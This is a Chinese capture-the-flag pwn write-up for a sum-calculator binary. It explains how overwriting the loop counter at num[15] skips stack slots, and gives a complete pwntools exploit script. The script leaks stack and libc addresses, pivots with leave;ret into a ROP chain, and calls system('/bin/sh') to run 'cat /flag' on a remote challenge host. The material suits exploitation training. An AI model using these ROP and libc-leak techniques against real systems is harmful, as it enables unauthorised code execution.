程序允许最多输入22个数,先输入个数再逐个输入数字,当输入到num[15]时输入0会到2重新开始,这里存的是for(i=0;i<n;i++)里的i,这种情况在pwn题里还是比较常见的。通过覆盖这个计数器可以路过不该覆盖的位置。
- 22个数正好覆盖到return位置
- 程序main和calc_sum都只运行一次没有循环,所以每次都要覆盖return来实现重复输入
- 两次输入不同的值计算差得到栈地址(15前是固定的无法跳过,一个跳到rbp覆盖为0一个不覆盖即可得到rbp,但两次rbp的偏移需要减差)
步骤:
- 在【15】处输入20直接跳到ret覆盖为_start
- 在【15】处输入19直接跳到rbp,覆盖rbp,ret为0,_start
- 计算差得到栈地址
- 输入rop(pop_rdi_ret,got.puts,plt.puts,_start),输入18跳到 rbp输入栈地址(num[0]处)+leave_ret移栈
- 执行rop输入got表得到libc并返回start(这里有个坑,题目并未调用过puts,本来使用printf但远程printf无输出)
- 直接在ret处写one_gadget或者像上步一样写rop移栈
from pwn import *
local = 0
if local == 1:
p = process('./pwn')
libc_elf = ELF("/home/shi/pwn/libc6_2.23/libc-2.23.so")
one = [0x45226, 0x4527a, 0xf0364, 0xf1207 ]
libc_start_main_ret = 0x20840
else:
p = remote('node4.buuoj.cn', 28427)
libc_elf = ELF('../libc6_2.23-0ubuntu10_amd64.so')
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
libc_start_main_ret = 0x20830
elf = ELF('./pwn')
context(arch='amd64') #, log_level='debug'
def calc_sum(n,payload):
p.sendlineafter(b"n = ", str(n).encode())
for i in payload:
p.sendlineafter(b'] = ', str(i).encode())
p.recvuntil(b'SUM = ')
return int(p.recvline()[:-1])
start = elf.sym['_start']
payload = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,start]
sum1 = calc_sum(22,payload)
payload = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,17,0,0,0,start]
sum2 = calc_sum(22,payload)
stack = sum1-sum2 - 0xe0 - (0x740-0x4d0)
pop_rdi = 0x0000000000400a83 # pop rdi ; ret
leave_ret = 0x0000000000400849 # leave ; ret
payload = [0,pop_rdi,elf.got['puts'],elf.plt['puts'],start,0,0,0,0,0,0,0,0,0,19,stack,leave_ret]
sum2 = calc_sum(22,payload)
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc_elf.sym['puts']
system = libc_base + libc_elf.sym['system']
bin_sh = libc_base + next(libc_elf.search(b'/bin/sh'))
one_gadget = libc_base + one[1]
print('libc:', hex(libc_base))
payload = [0,pop_rdi,bin_sh,system,0,0,0,0,0,0,0,0,0,0,19,stack-0x160,leave_ret]
#payload = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,one_gadget]
sum2 = calc_sum(22,payload)
p.sendline(b'cat /flag')
p.interactive()